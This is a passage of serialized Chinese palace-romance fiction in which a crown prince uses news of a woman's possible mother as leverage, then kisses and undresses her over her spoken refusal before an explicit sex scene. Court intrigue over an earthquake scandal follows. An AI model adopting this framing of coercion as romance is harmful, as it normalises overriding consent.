她从没想过,这辈子还会离开那座寺庙,出现在千里之外的京师。 直到那场意外。 她等了一日又一日,等到绝望。后来又去一个又一个山头寻找,却差点死在那些凶悍的山匪手上。 成为宁安侯私生女,是在一次意外里,她从一群流亡的凶徒手里救下了一个姑娘。 那姑娘虽然获救,却乘她不备跳了井,电光火石之间,她死死抓住她的手腕,却到底差了一步,她手腕上的珠串脱落,珠串的主人却扑通一声落了井。 便是这手串,被恰巧途径此地的宁安侯一眼瞧了去。 她看着转眼死在面前的女孩子,不能自已。彷佛她周围的所有人,最后都会离她远去。 她心伤将死,却想起兰哥哥的心愿。 于是将错就错,随着跑商的宁安侯来了京师。 三年的时间说长不长,却叫她这些日子,总觉得有些久别的陌生。 直到此刻,仿佛这两年的离别全都消失不见。 她回头看到身后一串串浅浅的脚印,远处的脚印已经被雪覆盖,她停住脚步,轻声叫道:“兰哥哥。” 李岚闻言,脚步一顿。 下雪之后,路边的灯火愈发朦胧起来,飘飘摇摇,叫人不忍打扰这方静谧的天地。 还有天地之中,相对而站的两人。 李岏的手死死握在车窗边上,发出卡擦的一声轻响。 拇指上的扳指应声而断,断口刺破皮肤,丝丝血涌出,他却似不知疼一般,目光死死盯着街心当中站着的两人。 他跟了几日,看了几日。 这并肩而行的两人,一高一矮,行动却出奇地一致,连走路的步调都是一致的。 周围所有的行人,与景色,似乎都不在他们的世界里。 便是只看个背影,也知这是天造地设的一对。 甚至于,般配地叫他都不忍多看。 此刻却看到李岚低下头,手指轻掠过她的耳畔,将她耳边的几粒雪捡走。 宋轻风双颊微红,小巧的鼻尖轻轻翕动,扬起的脸上落满细雪。 李岏不由自主自车内探出身来,便听到她的声音飘了过来。 “兰哥哥,风儿已经长大了,能跟你,一直一直在一起吗?我……” 少女的声音轻且软,尾音被北风吹散,却叫人心神具震,像是千万根针密密匝匝地刺了过来,扎进了李岏的胸口。 他掀帘的手剧烈颤抖,却仍保持着探出的姿势。 李岚伸到她鬓边的手微微一顿,烛火照得他的手指白如玉石一般。 宋轻风抓住他停在鬓边的手,将冰冷的手指贴在了自己的脸上。 她感到对方的指尖颤抖,欲要拿来,宋轻风却用力握住,不让他抽离。 “兰哥哥,你不是一无所有,你是我在这世上唯一的亲人。我想与你成婚,我想与你有一个真正的家,我们做一对和美的父母,生一群调皮的孩子……” 李岏看着她的双眸映着雪光,里头漫天星河璀璨。 而这漫天星河里,都是兰哥哥。 寒风灌进车厢,将车窗吹得呜咽呜咽地响,车内点的宫灯早已被风吹灭。 雪飘进车厢,将炭盆里最后一丝红光扑灭。 她要与他生一群调皮的孩子…… 李岏感到浑身冰冷,从骨缝里钻出的严寒,叫他四肢皆止不住发颤,一股惧意却铺天盖地而来。 他死死盯着,看着李岚伸出另一只手,覆盖住了那只苍白瘦弱的小手。 宋轻风说完这些,心中最后一口气顶着,定定地看着兰哥哥。 直到他颤抖的指尖渐渐平复,另一只手轻轻覆了过来。 她心头一松,屏住了许久的呼吸终于舒了出来,浑身发软。她这才发现,自己浑身竟在微微发抖,像是刚逃过一场大劫。 李岚的指尖在她润白的脸颊上滑过,只一双黑黢黢的眼睛,看着自己。这个小女孩,居然已长成这般模样。 雪落了满头。 他心头挣扎,看到她缩着脖子的可怜模样,却突然想抛弃一切,抛下所有,点头答应她。 甚至想立刻将她拥进怀里,叫她躲在自己的隐蔽之下,不被任何人发现。 等李岚反应过来,发现自己行动已快过了思想,已经拥住了她,她小小的身体软软地如面团一般,紧紧地靠在怀里。 他开口道:“我……” 话音未落,耳边却传来破空之声。 “嗖”地一声锐鸣,划破夜空,刺破风雪,朝着他的方向而来! 李岚一把搂住宋轻风侧身避开,一支箭便擦着身体定在了地上,箭尖激起地上的积雪四溅。 随着箭声,一个黑衣人悄然而落,站在不远处。 李岚将宋轻风护在一旁,看着黑衣人道:“哪位?” 谁知那黑衣人却一声不吭,手中长剑挽了个剑花,一道弧光闪过,便向李岚袭来。 街上三三两两行人被惊住,惊叫地慌张四散。 李岚皱了皱,目光飞快扫过四周。 行人已跑了干净,四下再无旁人。 一抹异色自他眸中划过,他来不及多想,自腰侧抽出长剑,迎了上去。 不想变故陡生。 宋轻风迅速站在了墙角,这黑衣人剑法高超,竟丝毫不落下风。 她心头发急,这地方到底是谁人!她脚尖在地上一扫,却见白雪之下果然落着许多小石块。 宋轻风来不及多想,迅速取了几枚,捏起一粒石子在指尖,看了眼场中情形,就要朝黑衣人的要害掷去。 哪知手方抬起来,却听有声音自身后响起:“宋娘子。” 宋轻风手一抖,转头却见身后躬身站着一个男子。 这男子一身黑衣劲装,眉目犀利,她却有些面熟。 却是太子身旁的侍卫,她曾见过的。 这侍卫躬身行了一礼,方才低头抱拳道:“我家主人派小人来问宋娘子,您想知道白楚楚在哪吗?” “啪嗒”,宋轻风手中的石子落了地。 那侍卫指着远处黑巷子里的一辆马车道:“我家主人说,娘子知道该如何做。”—— 作者有话说:晚安~ 第85章 第 85 章 别哭,我能给你更好的…… 宋轻风一眼瞧见街角的马车。 可是白楚楚的下落, 她是怎么死的,她与自己是何关系?她到底是不是自己的娘亲?那个梦中叫着自己乖女儿的人,到底是不是她? 她想要知道。 那个飞扬的女子, 入了皇城后又发生了什么。 她想要知道,她到底是谁,她的娘亲, 又是谁。 宋轻风看了看不远处的兰哥哥, 以他的剑术,这黑衣人分明不是对手。何况没了自己在, 他更不会吃到一点亏。 宋轻风咬了咬牙,掀开裙摆便往马车上跑去。 李岚余光瞧见有人靠近宋轻风,方要奔来。 不过眨眼间, 她却自顾埋头上了对方的马车。 长剑刺破冰雪, 尖锐的啸鸣响在耳边。 他突然停了动作,将整个后背让给了黑衣人,连手中的剑都放了下来。 李岚剑法高超绝非常人,对战中黑衣人使出二十分力不敢稍懈, 此刻一招剑势裹挟着千斤之力, 势如破竹而来,怎么也没想到在这节骨眼上,对方会突然毫无征兆地放弃抵抗。 他剑势已起, 再收却难如登天。 黑衣人双目圆瞪,一时目眦欲裂, 不及反应, 本能地左手狠狠击打了自己手中长剑,极速地想要改变方向。 便是如此,虽然避开了要害, 剑势全去,这剑到底刺向了李岚,刺入了他的肩胛。 李岚身型稍顿,却还是头也不回。 黑衣人大惊,一把将剑拔出,虽然刺得不深,却一时血涌出,很快落在了满地白雪之中。 他不知如何是好,想要上前为他包扎,可又未得到主人的允准不敢动作。 李岚彷佛不知疼痛一般,只是看着远处,轻轻叫道:“风儿。” 他的声音顺着风飘摇而来。 宋轻风踩上马车的脚一顿,忍不住浑身发颤,却不敢回头。 她怕自己一回头,就陷入两难。 宋轻风狠狠掐了手心,到底忍住了回头的冲动,一把掀开帘子坐进了马车里。 马车内空空如也,只有一盏红色宫灯,连带着坐座下猩红的炭火照得车厢内发出渗人的红光。 宋轻风死死抓住衣角的手颤抖着,炭火的暖意将她浑身逼得愈发颤得厉害。 不知过了多久,她才终于鼓起勇气掀开帘子,勾头往后看。 远处的街道上,一个人影站着,背有些佝偻,却不掩风雪里孤冷的身姿。 随着马车的疾驰,人影终究消散在风雪的尽头。 再也看不见了。 在这种时候,自己却上了旁的男人的车,他再也不会原谅自己了吧。 这种时候,宫门原该下钥,马车却一路疾驰,通行无阻地进了宫城。 驾车的人直将马车驾到方华殿门口方才停下。 方华殿还是原来的模样。 两侧的守卫如松柏一般挺立,见她进来,众人目不斜视,彷佛未曾看见一般。 宋轻风慢慢走到檐下,却见全福已等候在此。 他瞧见人,飞快地在她面上一扫而过,而后彷佛没事人一般,低下头笑眯眯地道:“宋娘子来了,奴婢这就去通禀殿下。” 夜已黑了彻底。 殿内却没有点灯,却暖和异常,与外头的严寒俨然两个天地。 她方踏入殿内,身后的门便支呀一声关上了。 声音虽然不大,却叫宋轻风忍不住冰冷的肌肤抖了几抖。 外头的雪被隔绝,殿内陷入一片黑暗,一片死一般的寂静。 唯有一角的缝隙里有半点微弱的光透出来。 宋轻风熟悉那里,她曾在那住过些日子,便是在黑暗里,也慢慢挪到了门口。 她的手紧了又松,松了又紧,终于吸了口气掀了开来。 熟悉又陌生的气息扑面而来,屋内还是老样子。 此刻却只有一角落燃着一只八角琉璃宫灯,昏黄冷清的光照亮方寸之地。 不知为何,便是这微弱的光,却叫她忍不住眼睛眯了眯。 等她彻底适应,便在迷蒙又昏暗的灯下,瞧见一人。 他如初见时一般,斜靠在矮榻上,一张脸隐在阴影里,只照见白色素衣铺陈到地,衣角在光照下流转着细密的金色光线。 此刻他一手执着只玉色的棋子。 听见她的呼吸声渐渐走近,李岏捏棋的手一紧,却头也没抬,自顾白玉子落下。 “当”地一声脆响。 他重又从棋盒里捏出一枚黑子,低头道:“你来了,陪孤下棋。” 说完等了半晌,却不闻半点回音。 李岏这才抬起头。 却见站在矮榻边的女子,发丝落在脸颊两侧,脸上还是未擦净的泪痕,眼睛通红,肿得像是桃子一般。 他瞳孔皱缩,指尖的棋子圆润光洁,却骤然深陷。 所以,她这是哭了一路。 他想到方才瞧见的情景,她满面红光,目若繁星,他们相拥在街头,雪落满头,美得叫人不忍搅扰。 李岏不敢深想,飞快扫过她的面容,重又低下了头。 宋轻风定了定神,终于瞧清他灯下面容,白净如冷玉,眼下的红痣已不见,却见唇上破的小伤口,已结成焦色,在冷白的面上格外的醒目。 她跪下行礼道:“太子殿下,我来了,您可以告诉我吗?” 李岏斜躺的身体坐起,却只是点了点案上的棋盘道:“过来。” 宋轻风揉了揉红肿的眼睛,看清桌案上的棋盘,上头居然只落了两三粒棋子。 不由他下棋,他看来是不会说了。 她不由压下心中焦急,一屁股在对面坐了下来。 眼见太子手中执着黑子,她一把拉过白棋的棋盒,“啪”地一声就随意找了个格子下了下去。 上回被他拉着下棋还是很久以前。 宋轻风已快要忘了,胡乱走了几步之后,才算想起来规则。 想起上回他气急败坏,不由抬眼打量,却见他低垂着眉眼,长睫在眼下落下大片的阴影。 她这一看,不由出了神。 这般低眉敛目的神色,与他是像了七八分。 她想到长街上兰哥哥的身影,他伸手抱住了她,只差一步,就一步,他们就要幸福地在一起了。 李岏盯着棋盘上她的手,半天不见动作。 抬头却见她愣愣地看着自己。 这样的目光,他再熟悉不过。曾经他不喜她这般目光,而今,却害怕这样的目光。 李岏扔了棋子一把站起身,站在她的面前。 宋轻风仰头看他,还未反应过来,他已附下身来,两只手臂撑在两侧,将她圈在了其中。 矮榻本就不宽裕,如此更显促狭,充耳都是对方的呼吸声。 两人的衣袂交织在一处,他发顶的流珠落在身前,滑过她的脸颊。 宋轻风张了张口,结结巴巴地道:“您,您做什么……” 李岏却大手一伸,架在远处台上的琉璃宫灯被他一手捞到了旁边,啪地一声放在棋盘上。 “既要看,便看清楚些。” 屋内只有这一盏光亮。 琉璃烛火便正正打在他的脸上,照见他的脸,和一双漆黑的双眸。 如此近的距离,甚至瞧得见他年轻的脸上,细密的绒毛,在灯火下闪着银光。 宋轻风这才发觉他眼尾微红,带着微微的上挑,多了少年人的朝气,却因常年不苟言笑,叫人从不敢仔细打量。 而她以前,更多地目光是在他眼下的红痣之上。 而今红痣不见,她目光不敢停留,也不敢想为何会变成一块泛着粉的疤痕。 李岏眸子一眨不眨地看着她,又问道:“瞧仔细了吗,瞧清我的模样了吗?” 宋轻风回过神来,却转过头避开了他灼灼的目光道:“太子殿下,您何时愿意告诉我……” 李岏打断她道:“你便这般迫不及待,一刻也等不得吗?” “你……” 李岏避开目光,他从未想过自己会行此卑劣的要挟之事。可是…… 想到方才的一幕,他心下发颤,莫说做一个卑劣的小人,便是做一个十恶不赦的恶人又如何? 他重又问道:“告诉我,得了消息之后,你待如何?” “太子殿下,您之前说过,允我出宫……” 李岏道:“我说过吗?” 宋轻风一噎道:“你!……但是,我已有喜欢的人了,我要与他……” 她的后半段话吞没在口中。 他冰冷的唇已落在她红肿的眼睑上,密密匝匝。 宋轻风颤抖着唇,接下来的话如何也不能从喉间溢出,她下意识闭上眼睛,感到他的唇冰冷而颤抖,一点点从眼尾吻到了眼角。 酥麻的感觉震得她浑身僵硬,失了言语。 她想要躲开,他却熟练地一把伸出手来,一手捞住她的腰,一手按住了她的头,将她禁锢在了矮榻的方寸之地,他的宽大怀抱之间。 他的唇在她的眼睛上流连。 宋轻风终于在战栗里寻回自己的声音,用力要推开他,只是她引以为豪的力气,在他面前却轻飘飘毫无威慑力。 甚至他的唇终于从眼睑离开,却来到鼻尖,而后一路往下,一把咬住了她的唇。 他捧着她的下颌,将她的脸钳在掌间。 比之白日,此刻的他却是温柔的,冰冷的唇在她的唇上慢慢拂过,舌尖轻轻绕着她的口舌。 “你早就是我东宫的人,只能喜欢我一个,知道吗?” 宋轻风道:“不……” 他重又一口堵住她的嘴,不给她片刻说话之机。 不知过了多久,他的唇又转移到她的下颌,辗转片刻,很快顺着她白皙的脖颈向下。 暖阁内暖意太盛。 李岏原只想点到为止,留给她时间慢慢适应,可哪知这一开口,却再难自抑,只觉得压抑已久的欲望如排山倒海一般,冲晕了他最后残存的理智。 其实在长街上,他的理智便已疯了。 她竟主动开口,与那人说想与他成婚,想与他生孩子的时候,他已失去了所有的理智。 那人抱住她的时候,他只想狠狠地将她抢过来,关在自己的屋子里,抱在自己的怀里,不许任何人见她。 他想要将她拧过来,狠狠地教训上一顿。 那个口口声声说喜欢自己,却一心只想给别人生孩子的骗子! 他躲在黑暗里,阴险地派出侍卫,去打搅他们,去拆散他们这般天造地设的一对。 他能支撑到此刻,已是极限。 李岏轻轻咬住她白皙的脖颈,此刻满脑子只是想将她占为己有。 一只手却伸到腰间,不过熟练的一拉,腰带便松开了开来。 白玉一般娇嫩的肩膀渐渐露在眼前。 宋轻风感到腰间一松,想要扯回腰带,哪知他提前感知到她的动作,手下一用力,衣裳已被他如笋衣一般剥落,而后羊脂玉般的玉笋,慢慢展现在眼前。 烛火便在一旁,清晰地照着她身上的每一片肌肤,柔软如娇艳的花,在他的亲吻与揉拧之下,渐渐泛出粉红之色。 想到这样的娇艳的花,不久前也为旁人开放,李岏双眸转而黝黑,口下的温柔却转了力道,所过之处,无不泛着深红。 宋轻风浑身打颤,低头一瞧,浑身已无片叶遮身,而上方的人,一身白色长衣也早滑落在地,玉色的肌肤在烛火下散着玉石一般的光。 发冠已解,顺滑的长发滑落在肩,扫在她的皮肤上,凉得人浑身发颤。 她此刻才惊觉,他浑身的皮肤也是冰冷一片,还泛着冰雪的潮湿。 难道他方才的衣裳,全是湿的,就这般穿在身上? 他的皮肤贴着她的,许是冻了太久,打着颤。 她双手在他的背上徒劳地挣扎了片刻,便放弃了反抗。 她选择抛弃兰哥哥,坐马车入宫时起,便要知道接下来的是何结果。 这是她自己的选择。 也许这一选择,她将永远也离不开这皇宫。 感受到她突然的顺从,与两人多次的经验身体的配合,他心头突如受了鼓舞,一只手握住了她的腰身,轻易地攻城略地。 一旁的棋案到底受不住,上头的棋子一下下跳动起来,很快落了满地,连带着放在棋盘上的琉璃灯盏,都晃动起来,发出“当当”的有节奏的韵律。 烛火摇曳起来。 将满室照得如水波流转,摇曳生姿。 他们以往的同房,她从未在如此明亮的光线下瞧见他的人。 只有朦朦胧胧间,沉迷在他的眉眼里不可自拔。 可此刻他的身体,和一举一动皆在眼前。 他的皮肤渐渐滚烫,白玉里泛出粉色,继而竟淌出细密的汗珠。 此刻他身下不停,双眸却一眨不眨地盯着她,里头深晦如海,令她忍不住头脑发懵,不敢直视。 瞧见她逃避的目光,眼角的泪将落未落,皮肤上却因此事不自觉流露出娇艳诱人的色彩。 他想到那日客栈里,他们在一起时,她又是何种情形呢,也如此刻一般吗?听闻她的声音,该是极喜欢的。 想到此,李岏不自觉掐住她的腰身,使出了浑身的力气。 是了,分明他们模样相似,她能这般喜欢他,以后自然也会这般喜欢自己的,只是再需要一点时间罢了。 想到此,李岏凑下身来,吻走了她眼角的泪,温言道:“别哭,我能给你更好的。” 说着重又吻住她的唇,轻易地便又撬开她的齿关。 他的唇舌便随着动作一下下探入最深处,吸吮研磨,叫她喘息不得。 屋外风雪不知如何,屋内却如波涛汹涌,反反复复。 烛火早已燃尽,宋轻风只感到嘴唇早已麻木地失了知觉,困倦袭上了全身。 而他却不知哪里来的力气,毫无困倦之意。 等她从昏昏沉沉中几经转醒,他却还在卖力。 天色将亮未亮之时,她被又一阵热浪送上高峰,他颤抖着身体,抱住她,轻声道:“宋轻风,与我生个孩子吧。” 他也想要一个家。 他们做一对慈爱的父母,他们有一个顽皮的孩子—— 作者有话说:晚安啊亲亲宝贝~ 第86章 第 86 章 他们围在门外,我,我怕…… 醒转的时候, 宋轻风发现自己居然躺在一张陌生的床上。 浅色的云纱帐垂落,将床与她隔在一个独立的空间里。 她瞪着头顶的明珠和四角的金球看了半晌,才反应过来, 这是太子的床。 昨夜分明一直是在暖阁里…… 想到昨夜种种,宋轻风立刻打住胡思乱想,这才觉出一身的酸痛。 她悄悄拉开床帐朝外看去, 阳光自窗棂照进来, 竟在地上画出一副写意的山水。 室内空无一人。 案几上一只香炉冒着寥寥青烟,味道清甜舒适。 她有些心虚, 生怕惊动了旁人,忙蹑手蹑脚地下床来,穿戴好, 还未行到门边, 却听到门外有人低声议论声。 却是全福尖细的惊叫道:“你说什么?” 却听一人小声道:“那灾民一口咬定,他在安西郊外亲见过挖山的一大群人,他还有捡到的一枚箭簇做物证!奴婢也仔细瞧了,那箭簇却是镇北军专用的。而今此处有流言, 皆怀疑, 怀疑……恐怕此次安西地动,不是天灾乃是人祸!” 那灾民敲了登闻鼓,状告镇北王贪墨事宜, 哪知在三司会审之时,却又改了苗头, 说他曾与安西山旁无意瞧见一大群士兵模样的人, 偷偷摸摸,忙忙碌碌,似乎在挖什么宝贝。 瞧那模样, 好像挖了许久,似将山都挖空了一般,必是惊了地龙导致了此次地动。 偏偏他拿出的证据,却是镇北军中所专用。 镇北王有嫌疑,太子殿下必然脱不开干系,全福一张白脸气得通红:“那帮陪审的废物们就由着他这般攀扯污蔑?” 那人也红了脸道:“曹大人正为此间疑点甚多,待查清再审,可……可刑部高大人却冒了一句,安西地动时,镇北军不出三日便到了受灾地,按理说安西离镇北军营地至少七日路程,为何正巧这般早就到了现场?” 全福急道:“那宁王爷如何说?” 那人回道:“宁王爷只说自己自有手段,提前预知了地动,这才带人匆忙前往,可惜紧赶慢赶,还是晚了。” 灾民们不知如何得了消息,皆聚在门口,听闻这话如何能信。 只是愈发群情激愤,其中有一壮年男子居然突破了守卫,直接冲到公堂之上,对着镇北王爷就呸了一口,一顿谩骂,说他沽名钓誉,人面兽心,假装与众人同吃同住,亏他们这些灾民还对其感恩戴德,如今他们家被毁,妻离子散,都是他一手造成的!要寻他报仇。 说着说着,那人声音却小了下去,惊慌的眼睛飞快看了一眼全福。 全福一眼看见了他的神色,当即抓住他道:“还有什么话没说?” 来禀告的人战战兢兢道:“方才奴婢来宫里的路上,瞧见好多百姓已在往大理寺方向围去,誓要镇北王给个交代,甚至……” 全福道:“甚至什么?” 那人似乎畏缩了一下,方才讷讷地道:“左不过是些没见识的贱民,被人一煽动,就说不出什么好话来……” 说完见全福黑着脸盯着他,那人这才瑟缩着道:“有传言说是太子殿下为了,为了……命镇北王爷带着镇北王十万大军在安西一带采金矿,动了山中龙脉,这才导致了地动……” “金矿?” 那人道:“正是,那灾民当庭质问,若不是挖着了金矿,那时朝廷赈灾款迟迟没来,镇北军那时哪里来的钱安置的他们?” “这个白眼狼!王爷如何说?” 那人摸了摸额头的冷汗道:“宁王爷却对此问却闭口不言,只是坐着喝茶。” 全福一张白脸黢黑,那时镇北军半数投在了安西,才叫那帮人有了可趁之机,偷偷拿走了朝廷的赈灾款银,想要将镇北军活活困死在安西。 等太子殿下将银钱送到的时候,也是半个月后了,连他也不知镇北军是如何熬过的这半月。 见这人支支吾吾的神色,只怕外头的传言更难听,全福伸手打断了来人的话,没得叫难听的谣言扰乱了宫内的清净。 只是要止住谣言,唯一的手段只有快狠准,在谣言大范围散播之前将其彻底掐灭,否则就算以后澄清了,也没人关心!所有人都只相信自己想相信的。 “这帮子挨千刀的王八羔子。”他低低咒骂了一声。 那人道:“在场陪审众人皆惊了,各个从椅子上站起来,偏偏今日太子殿下未参加会审,大理寺卿曹大人不敢继续下去,忙暂停了,急急派奴婢来东宫知会太子殿下。奴婢瞧见宫内的人,此刻也入大内了。” 却外头又有侍卫匆匆来,一张脸煞白却冒着热气:“全总管,东华门外聚了许多百姓,说是要……要见太子殿下,要……要殿下给万民一个交代……” 全福不想这些人如此大胆,居然跑到皇宫外来了,他在原地转了几圈道:“此事干系重大,我这就去禀告太子殿下。” 一旁却传来顺意的小声:“可是太子殿下一早吩咐了,便是天塌下来了也不许人打搅……” “哎呦!”他还未说完,却听哎呦一声叫唤。 全福一巴掌拍在他的脸上道:“混账东西!这都什么时候了,便是死罪,也要禀告殿下。” 此事关系着太子殿下,全福想及此,一拍腿转身就跑。 “哒哒哒”杂乱的脚步声远去。 宋轻风在屋内听得面红心跳,不想会有这样的风波。 她甚至可以想到如今外头只怕是将太子殿下骂得底朝天,说他为了一己私利导致数万人流离失所,草菅人命,实在是骇人听闻……这罪名一旦安上,那便是跳进黄河也洗不清了。 流言一起,想扑灭太难。 宋轻风一把打开门还未走到体顺堂外头,却见前殿的门打开。 一只袍脚正出现在门边,李岏穿着常服,随意披着件袍子,长发未束,手中却拧着个食盒。 不等她反应,他已行到面前,看了她一眼道:“怎么穿得这样少就出来了?” 宋轻风打量他面色如常,同平常一般冷冷淡淡,只是眼下却难掩乌青倦容。 而身后跟着的全福顺意二人却满面焦急,像是火烧了屁股一般,却都紧紧闭着嘴,谁也不敢出声。 李岏道:“时辰不早,进来用饭吧。” 宋轻风想要问他外头的流言,又想问他白楚楚的下落,一时不知该先问哪个。 正自纠结,李岏却自食盒里端出两碗白花花的面来,而后坐了下来道:“趁热吃。” 宋轻风听闻方才的传言,心中也如火烧一般,哪里有心情用饭,当即道:“太子殿下,您,您有急事快先去解决吧!” 旁边全福忙拼命点头。 哪知李岏却自顾抬头看她,目中冷意都去了几分,开口道:“你在担心我?” “我……”宋轻风一时无言,这都什么时候了。 李岏却一把捞住她的腰,让她跨坐在自己的腿上,感受着腿上的柔软,他问道:“你在担心我?” 这么多人在,宋轻风尴尬地挪了挪身子,想要离开,哪知却惹得身下的人一把抱紧了她道:“别动。” 她反应过来当即定住,这才无法地道:“是,我担心您,方才的话我都听见了,流言比刀剑更伤人,您若是不赶紧采取措施,流言恶化,可如何是好?此事实在十万火急,不是闹着玩的!” 哪知李岏却挑了挑眉,宋轻风不解。 看了全福才反应过来犯了忌讳,当即咬了唇道:“反正您快去吧!” 李岏看着她焦急面容,满眼的担忧不似作伪,突然感到满心的彷徨都化了水。 他就知道,只是时日问题罢了。 他当即脱了外裳,神色也黯淡下来,露出从未有过的颓唐。 “他们围在门外,我,我怕。”—— 作者有话说:晚安啊~ 第87章 第 87 章 答应我的条件 “他们围在在外面, 我,我怕。” 他面上神色颓唐,声音轻若鸿毛。 宋轻风一时未曾听清, 不确定地问道:“您,您说什么?” 李岏抬眼飞快地看了她一眼,看见她担忧的面容在眼前, 黑黑的眼睛里, 倒映着的确实是小小的自己。 她真的是在担心自己! 不是装的。 昨夜折腾一夜,黎明时看着她眼角挂的泪珠, 他心中不安,正无所适从,却听闻外头有人闹了起来, 懵懵懂懂地想了半日, 才想出这样一出来。 只有这样,她可能才愿意看上自己一眼,不会去计较昨夜的事。 可真等自己说出来,却一时汗毛倒竖, 忍不住一阵恶寒。想要接着说下去, 却只能嘴唇翕动半天,到底一个字也说不出来了。 他只能挪了挪身子,低下头, 将眼睑下垂,眉头轻锁。 果然宋轻风见他愁眉不展, 一时也顾不得其他, 只是不确定地问道:“是不是此事,很棘手?” 以他平日的做派,这些人能围在宫门外, 定是闹得极大。 顺意捧了药碗进来,宋轻风瞧见碗中黑漆漆的一团,还未靠近味道已是刺鼻的传来。 却不想这药是递给了李岏,他接了药,皱了眉头送到了唇边,却半晌未喝,只是结结巴巴地道:“嗯,很棘手,镇北王的案子我恐怕不能再插手,只怕我自身难保,说不得会被拿去审问了。” “啊?”宋轻风如何也想不到,他这般只手遮天的人,会到这种境地,还会被拿去审问? 说完他到底仰起脖子咽下手中的药,虽然一声未吭,却从紧皱的眉头感受出这药的苦涩。 “太子殿下,您喝得是什么药?” 李岏却未答,只是将药碗递出,挥手让顺意赶紧离开。 原本听闻他之前卧床数日,病得极重,可昨夜看来,分明是生龙活虎,劲大得很…… 宋轻风打断了自己的胡思乱想,见他埋着头,看不见面容,只瞧见玉白的耳尖瞬间泛了红,支支吾吾地似有难言之隐。 宋轻风从未见过他这般模样,一时呆住了。 平日里意气风发,而今却面容苍白,身形单薄,更是垂着眼睛不敢看她,与平日里高高在上的那个人截然不同。 她突然记起很久之前,他曾说过,古往今来,能登上皇位的太子十不足三四,而能顺利活下去的太子,十不足四五。 太子这个角色,就如行走在钢丝之上,稍有不慎就是万劫不复。哪里像是表面看起来的这般风光。 他此前说是装病,可这一大碗药下去又不像是假的,不管是装病也好,真病也罢,这其中复杂心思,已是叫人累极。 她正欲开口,却听支呀一声响,外头的后殿门开了,一个青衣内监跟着几个人快步走了进来,门开了,寒风将远处的嘈杂也一并送了进来。 那些声音嘈嘈切切听不清楚,但从这些声音来听,就知道聚集了很多人。 其中还隐约夹杂着人的高声叫骂声。 全福听清了声音,面色一白,气得浑身发颤,抢先开口道:“太子殿下,奴婢这就叫人将这些混账都撵走。” 李岏却不答他,而是看向门外道:“什么事?” 那青衣内监走到殿门口,并不进来,只是跪下回禀道:“太子殿下,奴婢是勤政殿的,陛下请您即刻过去一趟。” 不想这么快人就来了。 宋轻风看到那青衣内监身后,还跟着几个陌生面孔的侍卫,站在檐外,只是躬身行礼。 原来这就是敢拿他审问的人。 当今陛下,他的父亲。 事情发展到现在,说没人推波助澜傻子都不信。连着这敲登闻鼓的到现在,都不过是一场设计好的局,拦住想要回到西北的镇北王爷,又牵进去太子殿下。 全福上前替太子问道:“除了陛下,还有谁在?” 那内监回道:“内阁和部里几位大人,全都在,还有几位殿下也在,都在等着太子殿下,殿下您快些起驾吧。” 全福面色一变,欲要呵斥,哪知李岏却已起身,与那内监道:“好,陛下稍待,孤即刻就去。”说着抬脚就往外走。 外头冰天雪地,寒风凌凌。 宋轻风见他行得匆忙,连衣裳都来不及穿戴整齐,就匆匆往外去。 她却一眼瞧见他额上伤痕虽然已经愈合变淡,但此刻在他玉白的面上却格外触目。她下意识拉住他的袖子,想要叫他不要去。 “您想必是有了对策,能证明自己的清白?此次前去,有几成胜算?” 李岏却住了脚,顺势拉住她的手,整个人凑了过来,紧紧贴着她的身子,低下头看着她双眸中满是担忧。 摇了摇头道:“悠悠众口,能有什么对策,想要构陷于我,多的是法子,我也不是每次都算无遗策,此刻胜算自是一成也无。” 她一时目瞪口呆,一早上他这般不紧不慢在这和自己吃面,自己还以为他成竹在胸,却原来对外头的波涛汹涌还毫无对策?毫无胜算? “你,你没开玩笑吧?” 李岏不由问道:“你相信我吗?” 宋轻风点头道:“我自然相信您是无辜的。” 李岏道:“只要你肯相信我,其他人怎么看,都不重要。” “你说什么!光我相信有什么用啊!”宋轻风叫道。 这不是普通的罪名,安西地动,数万的人命,数十万人的流离失所,若是他被坐实这样的罪名,莫说当什么太子殿下,就是这条命也保不住,更是要遗臭万年,万人唾弃。 便是而今流言传到此时,也是对他大大的不利了! 李岏叹了口气道:“自然是有用的。” 他趁机将她的手握住怀里道:“这世上,有你信我还不够吗?” 说完却又扯出一丝苦笑来道:“不过别担心,我皮糙肉厚,倒也一时死不了。” 宋轻风一时无言。 李岏走到门外,却突然转过头道:“若是我……”说着他顿了顿,方才道,“你便出宫去吧。” 说完也不等宋轻风回答,一路疾行到方华殿外,方才站住脚。 跟在身后的内监一个不留神,险些撞在他的身上,连声赔罪:“奴婢该死。” 李岏不以为意,却转回去,隐在殿门后,却见宋轻风站在檐边,看着他离去的方向发呆。 还没有要收拾东西离开的意思。 若是她知道了自己想要知道的消息,还会走吗? 他用白楚楚的消息将她骗回来,又能留住她多久? 不,既然进来了,就别想再出去了。 李岏重又行到门外,宫外的喧哗方才还朦朦胧胧,此刻却清清楚楚地传在了耳边。 人声鼎沸,虽然都是骂他的言语,可这宫城竟多年未曾这般热闹。 他忍不住站住听了听。 青衣内监原看殿下这般匆忙出来去见陛下,心下一松,哪知此刻太子殿下又站在门口不动了,一时不解地道:“太子殿下,陛下已等候您多时了,这便速速去吧。” 李岏偏过头,面上已是冷淡神色。 那内监接触到他的目光,不由浑身一寒,只觉得面前的人与方才判若两人。 却听李岏已转走了目光,淡淡地道:“看你眼生。” 内监忙陪笑着道:“是,奴婢新到勤政殿伺候月余,殿下不认得奴婢也是自然。” “哦。” 高守引着车辇来了,李岏登上车,却不往内宫方向去。 那内监急道:“这位大人,方向错了,此刻陛下在勤政殿里。” 高守仿若未闻,只是引着车往外疾走。 内监带着侍卫,小跑跟在后头道:“殿下,太子殿下,陛下是在勤政殿等殿下。” 高守冷眼扫过来道:“殿下驾前,竟多嘴!” 高守身形魁梧,人高马大,一声呵斥,已叫那内监吓得面容发白,浑身发颤,忍不住回头去寻跟他一起来的内宫侍卫。 哪知一回头,身后黑压压的全是东宫守卫,哪里还有那些内宫侍卫的身影? 他吓得浑身一软,瘫坐在地。 李岏冷笑一声道:“回去禀告,就说孤晚些再去拜见陛下。” 话音方落,东宫卫护着辇车已是在几丈之外,很快消失在宫道上…… 天方过午,宋轻风正自发呆,却听有人上前道:“收拾一下,跟我走。”” 她一惊,抬头却见是太子,竟不知何时回来了。 “去,去哪?” 李岏看着她,飞快扫过她红肿的眼睛,而后转了目光道:“答应过你,要告诉你白楚楚的消息。” 宋轻风哗地一声站起身来。 